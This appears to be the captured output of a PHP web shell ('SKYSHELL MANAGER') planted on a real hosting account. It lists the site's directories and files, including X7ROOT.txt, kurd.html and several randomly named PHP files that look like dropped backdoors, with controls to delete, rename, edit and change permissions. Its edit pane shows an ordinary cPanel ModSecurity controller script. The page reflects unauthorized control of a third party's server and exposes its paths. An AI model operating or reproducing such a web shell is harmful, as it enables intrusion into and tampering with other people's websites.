📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: massEditRuleController.js
/* # templates/mod_security/views/massEditRuleController.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define */ define( [ "angular", "lodash", "cjt/util/locale", "jquery", "cjt/jquery/plugins/rangeSelection", "uiBootstrap", "cjt/directives/autoFocus", "cjt/directives/spinnerDirective", "cjt/services/alertService", "app/services/ruleService", ], function(angular, _, LOCALE) { "use strict"; // Retrieve the current application var app = angular.module("App"); var controller = app.controller( "massEditRuleController", ["$scope", "$location", "$anchorScroll", "$routeParams", "$q", "$timeout", "ruleService", "alertService", "spinnerAPI", "PAGE", function($scope, $location, $anchorScroll, $routeParams, $q, $timeout, ruleService, alertService, spinnerAPI, PAGE) { // CONSTANTS var ANIMATION_INTER_STEP_DELAY = 500; // in milliseconds. /** * Disable the save button based on form state * * @method disableSave * @param {FormController} form * @return {Boolean} */ $scope.disableSave = function(form) { return $scope.cantEdit || form.txtRules.$pristine || (form.$dirty && form.$invalid); }; /** * Clear the form * * @method clearForm */ $scope.clearForm = function() { $scope.enabled = true; $scope.rules = ""; $scope.deploy = false; $scope.clearNotices(); $scope.cantEdit = false; }; /** * Clear the notices * * @method clearNotices */ $scope.clearNotices = function() { alertService.clear(); $scope.notice = ""; }; /** * Navigate to the previous view. * * @method cancel */ $scope.cancel = function() { $scope.clearNotices(); $scope.loadView("rulesList"); }; /** * Save the form and navigate or clean depending on the users choices. * * @method save * @param {FormController} form * @return {Promise} */ $scope.save = function(form) { $scope.clearNotices(); if (!form.$valid) { return; } spinnerAPI.start("loadingSpinner"); $scope.progress = 0; $scope.cantEdit = true; return ruleService .setCustomConfigText($scope.rules, $scope.deploy) .then(function() { // on success, update alert and load the view spinnerAPI.stop("loadingSpinner"); $timeout(function() { $scope.progress = 100; $timeout(function() { // success if ($scope.deploy) { alertService.add({ type: "success", message: LOCALE.maketext("You have successfully saved and deployed your [asis,ModSecurity™] rules."), id: "alertSaveSuccess", }); } else { alertService.add({ type: "success", message: LOCALE.maketext("You have successfully saved your [asis,ModSecurity™] rules."), id: "alertSaveSuccess", }); } $timeout(function() { $scope.loadView("rulesList"); $scope.showProgress = false; }, 2 * ANIMATION_INTER_STEP_DELAY); }, 2 * ANIMATION_INTER_STEP_DELAY); }, 2 * ANIMATION_INTER_STEP_DELAY); }, function(error) { spinnerAPI.stop("loadingSpinner"); $scope.cantEdit = false; if (error) { // failures like timeout, lost connection, etc. alertService.add({ type: "danger", message: _.escape(error), id: "errorFetchRules", }); } // ensure the any notifications and/or the final error is in view and focus is in the rule field $timeout(function() { $scope.scrollTo("top"); document.getElementById("txtRules").focus(); }, 2 * ANIMATION_INTER_STEP_DELAY); }, function(data) { switch (data.type) { case "post": // Only show the progress if there are more then 2 pages if (data.totalPages > 2) { $scope.showProgress = true; } // Update the progress $scope.progress = Math.floor(data.page / data.totalPages * 100); break; case "error": // api related failures. alertService.add({ type: "danger", message: _.escape(data.error), id: "errorSaveRules", }); break; } }); }; /** * Fetch the config text from the user defined rules file * @return {Promise} Promise that will fulfill the request. */ var fetchRules = function() { spinnerAPI.start("loadingSpinner"); $scope.progress = 0; $scope.cantEdit = true; return ruleService .getCustomConfigText() .then(angular.noop, function(error) { if (error) { // failures like timeout, lost connection, etc. alertService.add({ type: "danger", message: _.escape(error), id: "errorFetchRules", }); } }, function(data) { switch (data.type) { case "page": // Only show the progress if there are more then 2 pages if (data.totalPages > 2) { $scope.showProgress = true; } if (data.text) { // Update the progress $scope.progress = Math.floor(data.page / data.totalPages * 100); // Append $scope.rules += data.text.join(""); } break; case "error": // api related failures. alertService.add({ type: "danger", message: _.escape(data.error), id: "errorFetchRules", }); break; } }) .finally(function() { spinnerAPI.stop("loadingSpinner"); $timeout(function() { $scope.progress = 100; $timeout(function() { // delayed for a little so the progress bar can finish $scope.cantEdit = false; $scope.showProgress = false; $timeout(function() { $scope.progress = 0; angular.element(document.querySelector( "#txtRules" )).selectRange(0); }, ANIMATION_INTER_STEP_DELAY); }, ANIMATION_INTER_STEP_DELAY); }, ANIMATION_INTER_STEP_DELAY); }); }; // Setup the installed bit... $scope.isInstalled = PAGE.installed; if (!$scope.isInstalled) { $scope.loadView("hitList"); } // Initialize the form on first load. $scope.showProgress = false; $scope.cantEdit = true; $scope.clearForm(); fetchRules(); }, ]); return controller; } );
Save